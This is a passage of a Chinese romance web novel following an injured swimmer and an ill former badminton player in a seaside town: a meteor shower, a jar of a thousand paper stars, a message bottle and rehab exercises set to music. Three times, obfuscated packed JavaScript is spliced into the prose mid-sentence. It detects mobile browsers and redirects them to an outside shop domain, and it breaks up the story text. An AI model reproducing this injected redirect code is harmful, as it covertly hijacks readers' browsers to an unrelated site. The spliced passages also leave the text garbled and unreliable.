而在镇西的旧居民楼里，谢临洲正在整理观星设备。 他把三脚架、望远镜、星图、手电，检查，又准备了热茶和毯子。 准备完毕，他坐在书桌前，在日记本上写： “8月8日，周一，泳池。 苏晚禾教我游泳。水的触感很好，很轻。 她教得很认真，像真正的教练。 周二，球馆。 我教她羽毛球。她学得很快，很有天赋。 打出了一个漂亮的高远球。 明天凌晨看流星雨。 希望天气好。 希望她能看见很多流星。 希望......” 笔尖停在这里。 他看向窗外，夜空晴朗，星星清晰可见。 明天会是个好天气。 他合上日记本，关灯，准备小睡一会儿。 凌晨一点半，还有很多事要做。 10. 夏·初遇 周三凌晨一点二十五分，苏晚禾悄悄溜出疗养院。 夜风很凉，她裹紧了厚外套，手里抱着条毯子，背包里装着手电和热水瓶。 街道空无一人，只有路灯在夜色中投下昏黄的光晕。 远处的海面是沉沉的黑色，潮声在寂静中格外清晰。 灯塔的铁门虚掩着，她推门进去，顺着螺旋楼梯往上爬。 塔顶有微弱的光，谢临洲已经到了。 他穿着深色的冲锋衣，正在调试望远镜。 听见脚步声，他转过头：“来了。” “没迟到吧？”苏晚禾看了看手机，一点二十八。 “正好。”谢临洲指了指地上的两个垫子，“坐。流星雨两点开始，现在先看会儿星星。” 苏晚禾在垫子上坐下，把毯子分给他一半。 谢临洲接过，披在肩上。 塔顶比地面冷很多，呼出的气都变成白雾。 “今天能看到多少流星？”苏晚禾问。 “天气好的话，每小时六十到一百颗。”谢临洲调好望远镜，“英仙座流星雨是一年中最稳定的，碎片多，亮度高。” “你都背下来了？” “看多了就记住了。” 两人安静地坐着。 夜空很干净，银河像一条淡淡的纱带横跨天际。 苏晚禾仰头看着，脖子有点酸。 “给。”谢临洲递给她一个U型枕。 “你这装备也太齐全了。”苏晚禾接过枕着，舒服多了。 一点五十分，第一颗流星划过。 那是一道短暂的白光，从东北方向迅速掠过，消失在天际。 “看到了吗？”谢临洲问。 “看到了！”苏晚禾兴奋地坐直，“好快！” “别急，后面还有。” 果然，几分钟后，又一颗流星划过，这次更亮，拖出长长的尾巴。 接着是第三颗，第四颗......到两点十分时，流星开始密集出现，有时同时两三颗划过不同的方向。 苏晚禾完全忘了冷，她仰着头，眼睛都不敢眨。 每当有特别亮的流星划过，她就忍不住轻呼出声。 谢临洲没怎么看天，他在记录。 笔记本摊在膝盖上，手电夹在肩头，他快速地记下时间、方向、亮度、持续时间。 “你不看吗？”苏晚禾问。 “在看。”谢临洲说，“但也要记。数据有用。” “有什么用？” “分析流星体的大小、速度、轨道。”谢临洲一边写一边说，“有些科研机构会收集业余观测者的数据。” 苏晚禾似懂非懂地点点头，继续看天。 一颗特别亮的火流星划过，把半边天都照亮了，持续了好几秒。 “哇——”她忍不住出声。 谢临洲也抬起头，看着那道光芒消失的方向。 火光映在他眼里，亮了一下，又暗下去。 “许愿了吗？”他突然问。 “啊？” “看见流星可以许愿。”谢临洲说，“传统。” 苏晚禾笑了：“你还信这个？” “不信。”谢临洲低头继续记录，“但你可以信。” 苏晚禾想了想：“那下一颗我许愿。” 等了两分钟，又一颗流星划过。 她闭上眼睛，双手合十，在心里默默念了愿望。 “许了什么？”谢临洲问。 “说出来就不灵了。” 流星雨在三点左右达到高峰。 天空像在放无声的烟花，一道道银白的轨迹此起彼伏。 苏晚禾看得脖子都僵了，但还是舍不得低头。 谢临洲记录完一页，放下笔，也仰头看天。 他看得很安静，眼神专注，像是在看什么很重要的东西。 “你以前经常看流星雨吗？”苏晚禾问。 “生病后开始看的。”谢临洲说，“睡不着的时候就看星星，看久了就成习惯了。” “睡不着是因为疼吗？” “有时候是。”谢临洲说，“有时候就是睡不着。” 苏晚禾没再问。 她裹紧毯子，看着又一颗流星划过。 四点，流星渐渐少了。 天边开始泛白，黎明将至。 “差不多了。”谢临洲合上笔记本，“英仙座要落下去了。” 苏晚禾站起来活动身体。 坐了两个多小时，腿都麻了。 她走到窗边，看着逐渐亮起来的海面。 “谢谢你带我看。”她说，“这是我第一次看流星雨。” “喜欢吗？” “喜欢。”苏晚禾转过身，“下次还有吗？” “下次是十月的猎户座流星雨，但没这么多。”谢临洲开始收拾设备，“十二月的双子座也不错。” “那我们十二月再看？” 谢临洲的动作顿了顿：“好。” 收拾完毕，两人一起下楼。 走出灯塔时，天已经蒙蒙亮。 海面上浮着薄雾，早起的渔船正在出港。 “回去补觉吧。”谢临洲说。 “你也一样。” 两人在岔路口分开。 苏晚禾回到疗养院，轻手轻脚地从后门溜进去，上楼时正好碰见起夜的王医生。 “晚禾？”王医生惊讶地看着她，“你这么早起来？” “啊......我睡不着，去海边散步了。”苏晚禾面不改色地撒谎。 “注意安全。”王医生没多问，打着哈欠回房间了。 苏晚禾回到301，倒头就睡。 再醒来时已是上午十点，阳光透过窗帘缝照进来。 她起床洗漱，吃了个晚早餐，然后去了疗养院的阅览室。 今天没什么事，她打算找本书看。 在手工区的书架上，她看见一本教折纸的书。 翻开，里面有一章教折星星，那种小小的、立体的纸星星。 旁边还有个小故事：折满一千颗星星，可以许一个愿望，愿望就会实现。 苏晚禾盯着那行字看了很久。 她借了那本书，又去小卖部买了十包彩色细长纸条，那种专门折星星用的纸。 回到房间，她按照书上的步骤开始折。 第一颗折得歪歪扭扭，第二颗好一点，第三颗开始像样了。 折到第十颗时，她已经很熟练了，一分钟就能折一颗。 她把折好的星星装进一个玻璃罐里，透明的罐子慢慢有了色彩。 下午她去泳池做日常活动时，手里还在折星星。 护士小陈看见了，好奇地问：“晚禾，你折这个干什么？” “许愿。”苏晚禾说，“折满一千颗，可以许一个愿望。” “你还信这个呀？” “试试呗。”苏晚禾折完一颗，扔进罐子里，“反正闲着也是闲着。” 从那天起，苏晚禾开始了她的“折星计划”。 早上起床先折十颗，午饭后折二十颗，晚上睡前折三十颗。 她折星星的时候很专注，手指灵活地翻转纸条，一个个小星星从她指尖诞生。 罐子里的星星越来越多。 蓝色、绿色、紫色、黄色、红色，五彩斑斓。 谢临洲周三来灯塔时，看见她带着罐子和纸条，有些惊讶：“你在干什么？” “折星星。”苏晚禾一边折一边说，“许愿用。” “许什么愿？” “不告诉你。”苏晚禾神秘地说，“等折满一千颗再说。” 谢临洲没多问，继续调他的望远镜。 但接下来的时间里，他时不时会看她一眼，看她低着头，手指灵巧地翻转纸条，眼神专注。 “给你一颗。”苏晚禾折完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930142|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗蓝色的，递给他。 谢临洲接过。 小星星躺在他掌心，轻飘飘的。 “为什么要折一千颗？”他问。 “因为书上说，折满一千颗，愿望就会实现。”苏晚禾说，“而且要自己亲手折，不能假手于人。” “你信吗？” “不知道。”苏晚禾诚实地说，“但我愿意试试。” 罐子里的星星越来越多。 一百颗，两百颗，三百颗......苏晚禾折得手指都起茧了，但她没停。 她折星星的时候会想很多事情：想泳池，想比赛，想肩伤，想未来。 更多的时候，她会想谢临洲。 想他苍白的脸，想他平静的眼睛，想他在球馆一遍遍挥拍的样子，想他看流星时专注的侧脸。 折到第五百颗时，她开始在每个星星的纸条里面写字。 很小的字，用最细的笔写： “希望他的检查结果能好一点。” “希望他能继续打羽毛球。” “希望他不要太疼。” “希望他今晚能睡个好觉。” “希望......” 都是关于谢临洲的愿望。 她写得很快，写完就把纸条折成星星，扔进罐子里。 星星越来越多，愿望也越来越多。 谢临洲有时候会问她进度：“多少颗了？” “六百。” “七百。” “八百五。” 他从不追问她许什么愿，只是每次来灯塔时，会带点小零食给她——饼干，糖果，坚果，说是“补充能量，好折星星”。 苏晚禾照单全收，折得更起劲了。 折到第九百九十九颗时，是个周四下午。 苏晚禾坐在疗养院花园的长椅上，手里拿着最后一条纸条，是金色的。 她想了想，在上面写：“希望谢临洲能看见我游一次自由泳。” 然后她小心地折好，放进罐子里。 一千颗星星，满了。 玻璃罐沉甸甸的，五彩斑斓，在阳光下闪着光。 苏晚禾抱着罐子，看了很久。 然后她起身，朝镇西走去。 谢临洲家没人。 她把罐子放在门口，下面压了张纸条： “给谢临洲： 一千颗星星，许一个愿望。 我的愿望是：希望你每次复查都有好消息。 ——苏晚禾” 放下罐子，她转身离开。 走到巷口时，她回头看了一眼。 阳光照在那个玻璃罐上，里面的星星像是在发光。 她笑了笑，继续走。 傍晚，谢临洲回到家，看见门口的罐子和纸条。 他拿起罐子，打开，倒出几颗星星。 然后他发现了里面的字。 他一颗一颗地拆开，读着那些小小的愿望。 读了几十个，他的手开始发抖。 他把拆开的星星重新折好，放回罐子里。 然后他抱着罐子，在门口站了很久。 最后他回到房间，把罐子放在书桌上，挨着那只座头鲸玩偶。 他在日记本上写，但今天写得很慢，很用力： “8月17日。 苏晚禾折了一千颗星星。 每一颗里都有一个愿望。 都是关于我的。 我不知道该说什么。 我只知道， 我会好好收着。 每一颗。” 写完，他放下笔，看着罐子里五颜六色的星星。 窗外，夕阳西下，海面一片金红。 而疗养院里，苏晚禾正趴在窗台上，看着同样的夕阳。 她没许愿自己能再游泳。 她许愿他能有好消息。 这样就够了。 她想。 11. 秋·靠近 周五下午，苏晚禾在疗养院的公告栏上看到一张手写通知： “周六上午九点，海滩清洁志愿活动。欢迎疗养院员工及住户参加。集合地点：主楼门口。工具：疗养院提供手套和垃圾袋。——云港环保协会” 她盯着通知看了几秒，然后转身去了护士站。 “小陈姐，明天的海滩清洁，我能去吗？” 小陈正在整理病历，抬头看了她一眼：“你想去？那可是体力活。” “就当复健了。”苏晚禾说，“而且我也该为社区做点贡献。” 小陈笑了：“行啊，我跟王医生说一声。不过你得答应我，不弯腰捡重物，累了就休息。” “保证！” 周六早上八点五十，苏晚禾准时出现在主楼门口。 已经有十几个人等在那里，大多是疗养院的员工和几个身体硬朗的老人。 组织者是个戴眼镜的年轻女生，正在分发手套和垃圾袋。 “谢谢。”苏晚禾接过工具。 九点整，队伍出发。 海滩清洁的范围是从疗养院往南两公里的海岸线，正好包括灯塔那一带。 苏晚禾走在队伍中间，听着大家聊天。 “最近游客多了，垃圾也多了。” “是啊，特别是塑料瓶和烟头......” “我上周捡到一只破拖鞋......” 走到海滩，组织者分配区域。 苏晚禾被分到灯塔附近那段，人少，垃圾相对也少。 她戴好手套，拎着垃圾袋开始工作。 确实没什么重物，主要是塑料碎片、泡沫、瓶盖、烟头这些小东西。 她蹲下，捡起，扔进袋子里，动作缓慢但规律。 捡了半小时，她直起身活动肩膀。 远处，灯塔静静矗立在海岬上。 “苏晚禾？”熟悉的声音从身后传来。 她转身，看见谢临洲也拎着个垃圾袋，戴着手套。 “你怎么在这儿？”两人同时问，又同时笑了。 “志愿活动。”苏晚禾举起手里的垃圾袋，“你呢？” “路过，看见有活动就参与了。”谢临洲说，“我被分到礁石区那边。” “那我们一起？” “好。” 两人并排沿着海岸线走。 早晨的海滩很安静，只有海浪声和偶尔的海鸟鸣叫。 阳光还不太烈，海风吹在脸上很舒服。 “你经常参加这种活动？”苏晚禾问。 “偶尔。”谢临洲弯腰捡起一个塑料瓶盖，“闲着也是闲着。” “心态很好嘛。” “嗯。” 他们安静地捡了一会儿垃圾。 谢临洲的动作比苏晚禾熟练，他眼睛很尖，能发现埋在沙子里的小碎片。 苏晚禾则专注于那些明显的垃圾。 走到一片礁石区时，谢临洲停下脚步：“这里有东西。” 苏晚禾走过去看。 在两块礁石的缝隙里，卡着一个玻璃瓶——棕色的，瓶口用木塞封着，上面缠着已经腐朽的麻绳。 “漂流瓶？”她惊讶道。 谢临洲小心地把瓶子取出来。 瓶子很旧了，玻璃上布满划痕和海藻痕迹。 透过玻璃能看见里面卷着一张纸。 “要打开吗？”苏晚禾问。 谢临洲看了看四周，组织者和其他人都在远处。 他点点头：“打开看看。” 木塞已经脆了，轻轻一拔就碎成几块。 谢临洲小心地把里面的纸卷倒出来。 纸张发黄，边缘破损，但字迹还能辨认。 是用蓝色钢笔写的，字迹工整： “2015年8月15日 愿望清单： 1.和最好的朋友看一次海上日出 2.吃遍云港夜市所有小吃 3.在灯塔顶看一次流星雨 4.学会游泳 5.给十年后的自己写一封信 ——林小雨，12岁” 下面还有一行小字：“如果捡到这个瓶子，请帮我完成这些愿望。谢谢你。” 苏晚禾和谢临洲对视了一眼。 “2015年......七年前了。”苏晚禾说，“那时候这个林小雨才十二岁，现在应该十九岁了。” “可能已经离开云港了。”谢临洲把纸条小心地展平，“也可能忘了自己写过这个。” “那怎么办？”苏晚禾看着纸条上的愿望，“我们要帮她完成吗？” 谢临洲想了想：“至少可以试试。” “先从简单的开始。”苏晚禾指着第二条，“吃遍云港夜市所有小吃，这个上次海祭我们算完成了一点吧？” “只吃了一小部分。”谢临洲说，“夜市有几十个摊位。” “那......我们慢慢吃？”苏晚禾眼睛亮了，“反正夜市每周五都有。” 谢临洲看着她兴奋的样子，点点头：“好。” “第一条：和最好的朋友看一次海上日出。”苏晚禾继续念，“这个......我们算最好的朋友吗？” “算吧。”谢临洲说。 “那明天早上看日出？” “可以。” “第三条：在灯塔顶看一次流星雨。”苏晚禾笑了，“这个我们上周刚完成。” “第四条：学会游泳。”她看向谢临洲，“这个你在学。” “第五条：给十年后的自己写一封信。”苏晚禾把纸条翻过来，“这个......我们要替她写吗？” “可以写一封，放在瓶子里，再放回海里。”谢临洲说，“算是完成这个漂流瓶的使命。” 两人决定就这么办。 他们把瓶子清理干净，纸条小心地收好，继续捡垃圾。 十一点，志愿活动结束。 大家把垃圾袋集中到指定地点，组织者统计数量，一共捡了五十多袋垃圾。 “辛苦大家了！”年轻女生大声说，“下个月还有一次活动，欢迎继续参加！” 人群散去。 苏晚禾和谢临洲走在最后。 “明天早上几点看日出？”苏晚禾问。 “天气预报说日出在五点四十二分。”谢临洲说，“五点二十在灯塔见？” “好。”苏晚禾想了想，“要带什么吗？” “毯子，厚衣服，手电。”谢临洲说，“其他我来准备。” “那我负责早餐。”苏晚禾说，“疗养院食堂六点开门，我们看完日出正好能吃热乎的。” “好。” 第二天凌晨五点十分，苏晚禾准时溜出疗养院。 天色还是深蓝的，星星还没完全消失。 走到灯塔时，谢临洲已经到了。 他带了两个保温杯，里面装着热茶。 “给你的。”他递给她一个。 苏晚禾接过，喝了一口，暖暖的。 两人爬上灯塔顶层。 东边的海平面上已经有一线微光，深蓝色渐渐变浅，变成靛青，再变成紫灰。 他们并肩坐下，裹着毯子，看着天色一点点变化。 五点三十，天边开始泛红。 云层被染成粉橙色，海面倒映着同样的颜色，波光粼粼。 五点四十，太阳的边缘露出海平面。 起初只是一个小红点，然后慢慢扩大，变成半圆，再变成完整的圆盘。 金光洒满海面，像铺了一层碎金。 整个过程很安静，很慢。 苏晚禾看得忘了呼吸。 直到太阳完全升起，天空变成明亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930143|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蓝色，她才开口：“真美。” “嗯。”谢临洲轻声应道。 他们又在塔顶坐了十分钟，看着阳光彻底驱散夜色。 海鸥开始活动，渔船的马达声隐约传来。 “愿望清单第一条，完成。”苏晚禾说。 “接下来是第二条。”谢临洲站起来，“这周五夜市，继续？” “继续。” 两人收拾东西下塔。 回到疗养院正好六点，食堂刚开门。 张阿姨看见他们一起进来，愣了一下：“你们俩这么早？” “看日出去了。”苏晚禾说，“阿姨，给我们两份早餐，饿死了。” “好好好，坐着等会儿。” 吃完早餐，苏晚禾回房间补觉。 下午她去了趟镇上的文具店，买了几张信纸和一个新玻璃瓶。 回到疗养院，她在桌前坐下，开始写信。 “给十年后的林小雨： 你好。 我是苏晚禾，2022年8月20日捡到了你的漂流瓶。 和我一起捡到瓶子的人叫谢临洲。 我们决定帮你完成愿望清单。 1.和最好的朋友看一次海上日出——今天早上我们看了，很美。 2.吃遍云港夜市所有小吃——正在进行中，已经吃了章鱼烧、烤鱿鱼、棉花糖...... 3.在灯塔顶看一次流星雨——上周看了英仙座流星雨，很震撼。 4.学会游泳——谢临洲正在学，进步很快。 5.给十年后的自己写一封信——就是现在这封。 不知道你现在在哪里，过得怎么样。 十九岁的你，应该已经长大了吧？希望你已经完成了所有愿望，或者有了新的、更美好的愿望。 如果你还在云港，欢迎来疗养院找我玩。 如果不在，也希望你一切都好。 祝平安喜乐。 ——苏晚禾” 她想了想，又加了一句：“P.S.谢临洲让我转告：希望你也学会了游泳。” 信写好，她折起来，放进新买的玻璃瓶里。 瓶口用软木塞封好，外面缠上防水胶带。 晚上去灯塔时，她把瓶子带给谢临洲看。 “写得很好。”他看完信说。 “那我们什么时候放回海里？”苏晚禾问。 “今晚就可以。”谢临洲说，“潮水正在涨，适合放漂流瓶。” 九点，他们来到海边。 谢临洲选了个水流较急的位置，把瓶子放进海里。 瓶子晃了晃，随着波浪漂向深处，很快消失在夜色中。 “它会漂到哪里？”苏晚禾问。 “不知道。”谢临洲说，“可能被冲到另一个海滩，可能一直漂在海上，也可能被渔网捞起。” “希望有人能捡到。”苏晚禾说，“然后继续传递。” “嗯。” 他们又在海边站了一会儿。 月光下，海面泛着银色的光。 “还有三个愿望没完成。”苏晚禾说，“吃遍夜市，学会游泳，还有......林小雨自己可能已经完成的那些。” “慢慢来。”谢临洲说，“有的是时间。” 苏晚禾转头看他。 月光下，他的侧脸很安静。 “谢临洲。”她叫他的名字。 “嗯？” “谢谢你陪我完成这些。” 谢临洲沉默了几秒，然后轻声说：“也谢谢你。” 潮水涌上，又退去。 瓶子在海上漂着，载着一个陌生人的愿望，和两个新朋友的祝福。 而夜市还等着他们去探索，游泳课还要继续，夏天还很长。 苏晚禾想，这样很好。 真的很好。 12. 秋·靠近 周一下午三点，苏晚禾趴在泳池边，第一百次重复那个“轻度划水”动作。 “手臂伸直，慢慢抱水......”王医生站在池边指导，“感受水的阻力，不要发力。” 苏晚禾照做。 动作缓慢得像电影慢镜头，水在她手臂周围温柔地漾开。 确实不疼，但也确实......无聊。 “王叔叔，我能换个姿势吗？”她转过头，“比如仰泳的划水动作？那个对肩膀压力更小。” 王医生想了想：“可以试试，但还是要慢。” 苏晚禾翻过身，仰面躺在水上。 这个姿势舒服多了，视野也开阔，能看见泳池的玻璃顶棚，还有顶棚上停着的那只鸟。 她开始做仰泳的划水动作。 手臂贴着水面向后划，像风车一样缓慢转动。 一下，两下，三下...... 旁边的泳道传来水声。 一个老奶奶正在做水中漫步，动作比她还慢。 苏晚禾叹了口气。 半小时到点，她爬出泳池。 护士小陈递来毛巾：“怎么垂头丧气的？” “太无聊了。”苏晚禾擦着头发，“每天都是同样的动作，同样的速度，同样的半小时。我感觉自己像个机器人。” 小陈笑了：“复健都这样，得慢慢来。” “我知道......”苏晚禾裹上浴巾，“但这也太慢了。” 她回到房间，看了眼日历，周二下午要去球馆，周三晚上去灯塔。 至少有点盼头。 周二下午，苏晚禾提前半小时到了旧球馆。 谢临洲还没来，她自己在空荡荡的场馆里做了会儿热身。 肩膀还是有些僵硬，她做了几个缓慢的扩胸运动。 谢临洲准时三点到达。 他今天看起来精神不错，脸色没那么苍白。 “教练好。”苏晚禾故意立正。 谢临洲眼里闪过一丝笑意：“今天学网前球。” 他先示范了一遍：脚步快速向前，手腕轻巧地一抖，球贴着网过去，落在对方网前。 “好轻巧。”苏晚禾说。 “网前球要的是控制，不是力量。”谢临洲递给她一个球，“你试试。” 苏晚禾站到网前。 抛球，挥拍——球倒是过网了，但飞得又高又远，直接出界。 “手腕要放松。”谢临洲走到她身后，虚握着她的手调整姿势，“像这样，轻轻一点......” 他带着她的手做了个示范动作。 苏晚禾跟着做，这次球总算落在网前了。 “对，就这样。”谢临洲松开手，“继续。” 他们练了四十分钟网前球。 苏晚禾逐渐找到了感觉，球开始听话了。 但肩膀也开始抗议，长时间抬臂的动作让她肩关节酸胀。 “休息一下。”谢临洲注意到了她的不适。 两人在墙边坐下。 谢临洲递给她一瓶水：“肩膀疼？” “有点酸。”苏晚禾揉着右肩，“复健动作太单调了，每天重复一样的，肌肉都僵了。” 谢临洲想了想：“你平时做什么复健？” “就这些。”苏晚禾做了几个划水动作，“抬手，放下，侧举，画圈。每天四十分钟，像做广播体操。” “有音乐吗？” “没有。” 谢临洲沉默了几秒：“也许可以试试跟着音乐做。” “什么音乐？” “节奏慢的，舒缓的。”谢临洲说，“把复健动作编成简单的舞蹈，跟着音乐做，可能会没那么无聊。” 苏晚禾眨眨眼：“你会编舞？” “不会。”谢临洲说，“但可以试试。” “现在？” “现在。” 谢临洲拿出手机，连上一个便携小音箱，苏晚禾再次感慨他的背包真是百宝箱。 他选了首舒缓的钢琴曲，节奏很慢，旋律温柔。 “先试抬手动作。”谢临洲站起来，“正常抬手是这样做，对吧？” 他做了个标准的侧平举。苏晚禾点头。 “那这样呢？”他把动作放得更慢，配合音乐的节拍：抬起，停顿，放下，停顿。抬手时吸气，放下时呼气。 苏晚禾跟着做。 同样的动作，加上音乐和呼吸节奏，感觉完全不一样了。 不像是机械的重复，更像是......舞蹈。 “接下来是划圈。”谢临洲把手臂画圈的动作也配上音乐，像在画一个看不见的圆。 他们试了几个基本动作，谢临洲把每个动作都拆解、放慢、配上呼吸和节拍。 苏晚禾跟着做，肩膀的酸痛感似乎减轻了，也许是心理作用，也许是动作真的更流畅了。 “你挺有天赋啊。”她一边做一边说。 “以前在省队，队医教过一些康复操，有音乐伴奏的。”谢临洲说，“我记得一些。” “那再多编几个？” “好。” 他们花了整个下午的时间，把苏晚禾所有的复健动作都编成了一组简单的“康复操”。 谢临洲还给每个动作起了名字：抬手叫“摘星星”，划圈叫“画月亮”，侧举叫“展翅膀”。 虽然名字有点幼稚，但苏晚禾觉得有趣。 “明天我就在疗养院推广这个。”她开玩笑说，“苏氏康复操，包治百病。” 谢临洲笑了：“你先自己练好。” 周三上午的复健时间，苏晚禾带着小音箱去了理疗室。 王医生看见，挑了挑眉：“这是要干什么？” “改善心情。”苏晚禾连接好音箱，“王叔叔，我能试试跟着音乐做吗？” 王医生想了想：“只要动作标准，可以。” 苏晚禾播放了昨天和谢临洲一起选的那首钢琴曲。 音乐响起，她开始做“摘星星”——抬手，吸气，停顿，放下，呼气。 动作缓慢而流畅，像真的在摘什么东西。 旁边几个做复健的老人看过来，眼神好奇。 “晚禾，你这是在跳舞吗？”一个老奶奶问。 “算吧。”苏晚禾笑着说，“复健舞蹈。” “还挺好看的。”老奶奶说，“我能跟着做吗？” “当然可以。” 渐渐地，理疗室里的几个人都开始跟着音乐做。 动作很简单，节奏很慢，适合所有人。 王医生在旁边看着，没阻止，反而点了点头。 半小时很快过去。 音乐结束，苏晚禾停下动作，发现自己肩膀比平时放松多了。 “感觉怎么样？”王医生问。 “好多了。”苏晚禾说，“不无聊了，而且肩膀好像没那么僵。” “音乐确实能分散注意力，减轻疼痛感。”王医生说，“你可以继续这样练。” 得到了医生的许可，苏晚禾更有信心了。 下午她在房间里把整套动作又练了一遍，录了个视频，准备晚上带给谢临洲看。 晚上灯塔见，她兴冲冲地把视频给谢临洲看。 “你看，我今天在理疗室推广了我们的康复操。”她把手机屏幕转向他，“大家都跟着做。” 视频里，五六个老人跟着苏晚禾缓慢地做动作，表情认真。 音乐温柔，画面莫名有些感人。 谢临洲看完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930144|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，点了点头：“很好。” “都是你的功劳。”苏晚禾收起手机，“对了，我想给这套操起个正式的名字。” “什么名字？” “叫‘鲸鱼与蝴蝶’怎么样？”苏晚禾说。 谢临洲愣了愣：“为什么要叫这个?” “蝴蝶是我，鲸鱼是你”苏晚禾一本正经地解释，“我因为肩伤折断了飞往奥运的翅膀，像被困在岸边的蝴蝶。而你因为病魔按下了暂停键，如搁浅在海滩的鲸鱼。” 听着苏晚和的解释，谢临洲沉默了几秒，说：“名字不错。” “那就这么定了！”苏晚禾很高兴，“等我把整套操完善好，再配上完整的音乐，说不定还能教给更多人。” “你可以的。”谢临洲说。 那晚的观星时间，苏晚禾一直在想康复操的事。 她决定明天去镇上找家打印店，把动作图解打印出来，配上说明。 周四早上，她真的去了打印店。 店主是个和蔼的中年阿姨，听她说明来意后，主动帮忙排版。 “小姑娘真有想法。”阿姨一边操作电脑一边说，“这套操确实简单实用，适合老年人。” “我想多印几份，放在疗养院阅览室。”苏晚禾说，“谁需要谁拿。” “行，我给你成本价。” 印了五十份，苏晚禾抱着一摞图纸回到疗养院。 她先给王医生看了，王医生很支持。 “可以放在一楼大厅，自由取阅。”王医生说，“不过你要注明，这是康复辅助操，不能代替正规治疗。” “当然。” 下午，苏晚禾把图纸放在了大厅的架子上。 不到两小时，就被人拿走了十几份。 晚饭时，几个老人过来感谢她。 “晚禾，你编的那个操真不错，我做完膝盖舒服多了。” “我肩膀也松快了。” “明天还一起做吗？” 苏晚禾一一答应。 她心里暖暖的，第一次觉得自己在做一件有意义的事，不光是帮自己，也帮别人。 晚上她给谢临洲打电话。 “喂？”谢临洲的声音有些模糊，像是刚睡醒。 “我吵醒你了？” “没有。刚在看书。”谢临洲说，“有事？” “康复操的图纸，被人拿走了好多。”苏晚禾兴奋地说，“好多人都说有用。” “那很好。” “都是你的功劳。”苏晚禾认真地说，“要不是你提出音乐和舞蹈，我还在做无聊的广播体操呢。” 电话那头沉默了一下，然后传来很轻的声音：“是你自己愿意尝试。” “那也是你给的灵感。”苏晚禾说，“所以谢谢你。” “不客气。” 又聊了几句，挂了电话。 苏晚禾躺在床上，看着天花板。 肩膀已经不酸了。 她觉得前所未有的轻松。 窗外，潮声阵阵。 而在镇西的旧居民楼里，谢临洲放下电话后，在日记本上写： “8月25日。 苏晚禾把康复操推广了。很多人喜欢。 她给操起了名字：鲸鱼与蝴蝶。 她说我们一个像是被折断翅膀蝴蝶，一个像是被搁浅在岸边的鲸鱼。 好特别的比喻， 鲸鱼与蝴蝶。 深海与天空。 好像也挺合适。” 写完，他看向窗外。 月光下的海面，波光粼粼，像撒了一地的碎银。 他想，也许明天可以去趟海边。 不是为了看星星，也不是为了捡垃圾。 就只是看看海。 13. 秋·靠近 周五傍晚，苏晚禾在疗养院厨房门口探头探脑。 “张阿姨，”她扒着门框，“能借点东西吗？” 张阿姨正在准备晚餐，头也不抬：“借什么？” “锅，炉子，还有......海鲜。” 张阿姨停下手里的活，转头看她：“你要做饭？” “想煮个海鲜粥。”苏晚禾有点不好意思，“给朋友补补身体。他最近......脸色不太好。” “哪个朋友？经常来找你的那个小伙子？” “嗯。” 张阿姨擦了擦手，打量她：“你会煮粥吗？” “应该会吧。”苏晚禾说，“我看过我妈煮，挺简单的。” 张阿姨叹了口气：“算了，我来帮你。你那个‘应该会吧’让我很不放心。” 晚上七点，疗养院的小厨房里，张阿姨手把手教苏晚禾煮海鲜粥。 “米先泡半小时，煮出来才软。”张阿姨指挥着，“虾要剥壳去线，鱿鱼切圈，蛤蜊要吐沙......” 苏晚禾系着围裙，手忙脚乱。 她处理虾的动作生疏，去虾线每次都取不出一条完整的虾线。 张阿姨看不下去了，接过刀：“我来处理海鲜，你看着火。” 粥在锅里咕嘟咕嘟冒着泡，海鲜的鲜香味渐渐飘出来。 苏晚禾趴在灶台边盯着看，像在做什么重要实验。 “你对他挺上心啊。”张阿姨一边切葱花一边说。 “他教我打羽毛球，还帮我编康复操。”苏晚禾搅着粥，“我就想......表示一下感谢。” “嗯，知恩图报是好孩子。”张阿姨把葱花撒进锅里，“好了，关火焖五分钟。” 八点，粥煮好了。 苏晚禾找了个保温桶，盛了满满一桶，还特意多放了虾仁。 “谢谢阿姨！”她拎着保温桶往外跑。 “路上小心！”张阿姨在后面喊。 苏晚禾一路小跑到镇西。 谢临洲家亮着灯，她敲了敲门。 门开了，谢临洲看见她手里的保温桶，愣了一下。 “给你的。”苏晚禾把桶递过去，“海鲜粥，补身体。” 谢临洲接过，保温桶沉甸甸的，还烫手。 “进来坐？”他侧身让开。 苏晚禾进了屋。 谢临洲把保温桶放在桌上，打开盖子。 热气混着海鲜的香味涌出来，粥熬得很稠，虾仁、鱿鱼、蛤蜊满满地铺在上面。 “你煮的？”他问。 “张阿姨帮忙的。”苏晚禾实话实说，“但我有参与。” 谢临洲去厨房拿了两个碗，盛了一碗给苏晚禾，一碗给自己。 